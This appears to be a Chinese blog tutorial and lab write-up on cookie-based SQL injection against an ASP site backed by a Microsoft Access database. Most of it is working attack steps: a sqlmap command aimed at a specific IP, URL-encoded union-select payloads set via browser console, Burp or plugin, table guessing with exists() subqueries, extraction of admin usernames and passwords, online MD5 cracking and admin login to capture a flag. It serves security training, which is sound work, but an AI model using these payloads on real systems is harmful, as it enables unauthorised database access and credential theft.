Access注入 — Cookie注入

一、Cookie注入简介

Access注入 — Cookie注入_第1张图片

二、怎么修改Cookie

我们知道了Cookie注入的原理~那么下一步我们该学习的就是如何修改网站原有的Cookie

我们可以使用很多方法设置Cookie

这2点同时满足才可以执行!!!!!!!!!!!

1、只有旧的失效了(比如删了?id=170,也就是删了get传参),才会接受新的传参方式(比如这里的get传参失效,现在新的cookie传参才会生效)

2、如果由一种传参换成新的一种传参,第一次一定要在URL栏刷新,才会接受新的传参,否则还是接受原来的传参,第一次之后随便在那刷新都是默认新的传参方式了,除非又手动换回get传参。(比如现在get传参换成现在的cookie传参)。

这里顺便在说下原理。传参后要刷新,才可以看到你的新的页面,不然执行了,没刷新,一样看不到新的页面。

cookie注入是GET和POST传参不能使用的情况下使用

  • 要cookie注入要满足3个条件
  • 1.满足注入条件
  • 2.网站会获取到cookie传参后和原有的SQL语句拼接再传入数据库。
  • 3.url编码才行

设置Cookie

1、依靠浏览器进行设置 F12
2、抓包直接修改 Burpsutie
3、浏览器有的插件也可以设置Cookie (插件EditThisCookie)
4、浏览器自带Js进行设置
​document.cookie => 当前网站的Cookie有什么
document.cookie=“id=1111”
Cookie注入最好是进行一次编码

注意点:Cookie传参值需要URL编码,大家记得传参的值URL编码下

在线URL编码地址:http://tool.chinaz.com/Tools/urlencode.aspx

方法一:F12

这里我们使用cookie来传参的,注意php5.4以上的版本就不会接受cookie传参了
下面我们就在本地服务器来试一试
先写一个php传参文件,
REQUEST可以接受POST,GET,COOKIE传参
Access注入 — Cookie注入_第2张图片
然后进行传参,可发现,传参成功。
Access注入 — Cookie注入_第3张图片
那么接下来我们就来使用cookie传参

记住开头总结的那2点,非常非常重要,不然进行不下去。

按下键盘上的“F12”按钮,进入浏览器控制台,
找到存储》然后找到cookie》在选中你要用的页面
name的名字改成传参的,value改成你要传参的值,然后回车就看到cookie传参成功了。

Access注入 — Cookie注入_第4张图片

方法二:js

document.cookie => 当前网站的Cookie有什么

document.cookie=“id=1111” => 将当前cookie设置成 1111
Access注入 — Cookie注入_第5张图片

方法三:抓包

Access注入 — Cookie注入_第6张图片

方法四:浏览器插件

Access注入 — Cookie注入_第7张图片

三、Cookie注入靶场讲解

Access注入 — Cookie注入_第8张图片

SQLmap如何跑Cookie注入

1.直接跑

sqlmap.py -u “http://59.63.200.79:8004/shownews.asp” --cookie “id=171” --level 2

2.抓包
Access注入 — Cookie注入_第9张图片3.输入命令

python sqlmap.py -r 1.txt --level 3 – risk 2
Access注入 — Cookie注入_第10张图片获取表名(sql获取表名也是通过自带的字典进行比对) 选择1或者回车
Access注入 — Cookie注入_第11张图片设置线程 一般推荐输入10 Access注入 — Cookie注入_第12张图片

1.判断是否存在sql注入

?id=171-1 => 成功获取数据,可能存在sql注入
Access注入 — Cookie注入_第13张图片
继续判断,确定是否存在sql注入

?id=171 and 1=1 => 发现get对请求参数有过滤
Access注入 — Cookie注入_第14张图片

2.获取字段数

?id=171 order by 10 => 判断字段是为10
Access注入 — Cookie注入_第15张图片

3.获取回显点

?id=171 union select 1,2,3,4,5,6,7,8,9,10 =>发现get传参过滤

Access注入 — Cookie注入_第16张图片

有拦截就得绕过:

​ 1、不让你检测 (走私)
​ 2、规避规则 (藏东西过海关)

方法一:插件设置cookie

这里他默认是GET传参,(注意一定要是传参页面才行,其他没有传参的一定不行,比如首页就没有任何传参,所以首页不能跳转。比如?id)

只有GET传参失效才会用cookie传参
设置cookie成功后删掉get传参的?id=171 , 一样能正常获取171的内容

它可以接受Cookie传参并且拼接进数据库, 证明存在cookie注入
Access注入 — Cookie注入_第17张图片
这个时候我们把cookie的值改为171 and 1=2 但是直接设置cookie的话必须是url编码才行,所以我们先去转一下码》》得到就结果就是171%20and%201%3D2, 则页面显示错误
Access注入 — Cookie注入_第18张图片这说明存在cookie注入。首先通过测试,可得到所需的字段数为10

还是url编码:171%20order%20by%2010 数据正常显示
Access注入 — Cookie注入_第19张图片

判断回显点

判断回显点url编码后输入171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10

没有被拦截了,但是显示不出回显点,这是怎么回事呢?
Access注入 — Cookie注入_第20张图片
Access 很老的数据库 => 他不是数据库只是表的集合

Access 数据库的机构 => 表、字段(没有数据库,只有表和字段)

如果不知道表名怎么办?
只能靠爆破了,and exists (select*from 表名) 如果页面正常,就是存在这个表
exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True

存在admin表正常返回数据
Access注入 — Cookie注入_第21张图片
不存在admins表返回错误
Access注入 — Cookie注入_第22张图片select xxxx from 表 => 正常查询

  • 表名怎么知道? => 猜
    • and exists (select*from 表名)
      • 存在返回True不存在返回False
    • 数据库的表也不是乱写的
      • 常用的表admin news job work admin_user user

然后得到admin表的字段在页面中的回显位置:

url代码: 171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%20from%20admin
Access注入 — Cookie注入_第23张图片
再将admin表的username,password字段替换其中2个位置即可:
Access注入 — Cookie注入_第24张图片
一般从数据库里获取的数据是经过加密的,而且一般是MD5方式加密。
但是我们国内已经把这个加密方式给破解出来,
并公布了破解算法了,所以随便找个,在线解密MD5值的网站进行解密。

https://www.cmd5.com/
Access注入 — Cookie注入_第25张图片
从而通过后台登录页面进入后台
Access注入 — Cookie注入_第26张图片获得flag:zkz{welcome-control}

方法二:js

  • 用Javascript来设置Cookie

    • 我们可以尝试使用Javascript来设置Cookie
    • 我们先按F12调出浏览器的开发者工具
  • 我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了

  • document.cookie=“id=”+escape(“171”) (+是拼接符)

    • 通过浏览器Document.cookie来设置Cookie
    • Cookie名字为 id escape是一个编码函数,这个函数会进行一次URL编码
1.先把这个GET传参(id=171)删了

Access注入 — Cookie注入_第27张图片

2.按下"F12"打开控制台。

在console里输入传参建和传参值。

document.cookie=“id=”+escape(“170”)
Access注入 — Cookie注入_第28张图片一定要在URL栏刷新才行

然后就立马跳转到新的页面了,而我们也没看到之前的get传参了,说明cookie传参成功。

Access注入 — Cookie注入_第29张图片然后我们就来进行cookie注入。

3.判断字段数

document.cookie=“id=”+escape(“170 order by 10”)
Access注入 — Cookie注入_第30张图片

4.判断回显点

在判断回显点的时候,先要猜表名。

我们先来用这个函数猜猜表名

document.cookie=“id=”+escape(“170 and exists(select*from a)”)
Access注入 — Cookie注入_第31张图片在猜admin
Access注入 — Cookie注入_第32张图片这里只是手动猜的,真正要猜的话,还是用burp的爆破模块,拿本字典去猜,效率高,还省事。

既然知道了表名,那么现在正式来判断回显点。

document.cookie=“id=”+escape(“170 union select 1,2,3,4,5,6,7,8,9,10 from admin”)

Access注入 — Cookie注入_第33张图片

5.判断字段名

得到了输出点:需要知道字段名
方法一:强行猜解
方法二:偏移注入
既然access没有自带库,那么我们就只有强猜字段了,
根据表的名称,我们知道是admin,那字段名会不会是用户名和密码呢,(英文)
也就是username和passwod ,我们可以试一下。
document.cookie=“id=”+escape("170 union select 1,2,3,4,5,6,username,password,9,10 from admin ")
Access注入 — Cookie注入_第34张图片

方法三:burp抓包

1.用burp抓包来修改

Access注入 — Cookie注入_第35张图片
回显正常
Access注入 — Cookie注入_第36张图片
这个时候我们把cookie的值改为171 and 1=2 但是直接在cookie里的话必须是url编码才行,所以我们先去转一下码》》得到就结果就是171+and+1%3d2, 则页面显示错误

Access注入 — Cookie注入_第37张图片Access注入 — Cookie注入_第38张图片

2.判断字段数

171+order+by+10

Access注入 — Cookie注入_第39张图片
Access注入 — Cookie注入_第40张图片

3.判断回显点

在判断回显点的时候,先要猜表名.

我们先来用这个函数猜猜表名

171%20and%20exists(select*from%20a)
Access注入 — Cookie注入_第41张图片
报错,说明没有a这个表名

Access注入 — Cookie注入_第42张图片
在猜admin

171%20and%20exists(select*from%20admin)
Access注入 — Cookie注入_第43张图片
回显正确,有数据

Access注入 — Cookie注入_第44张图片
这里只是手动猜的,真正要猜的话,还是用burp的爆破模块,拿本字典去猜,效率高,还省事。

既然知道了表名,那么现在正式来判断回显点。

171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%20from%20admin
Access注入 — Cookie注入_第45张图片Access注入 — Cookie注入_第46张图片

4.判断字段名

既然access没有自带库,那么我们就只有强猜字段了,
根据表的名称,我们知道是admin,那字段名会不会是用户名和密码呢,(英文)
也就是username和passwod ,我们可以试一下。

171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2Cusername%2Cpassword%2C9%2C10%20from%20admin%20
Access注入 — Cookie注入_第47张图片Access注入 — Cookie注入_第48张图片

你可能感兴趣的:(学习笔记,php,asp.net,mvc)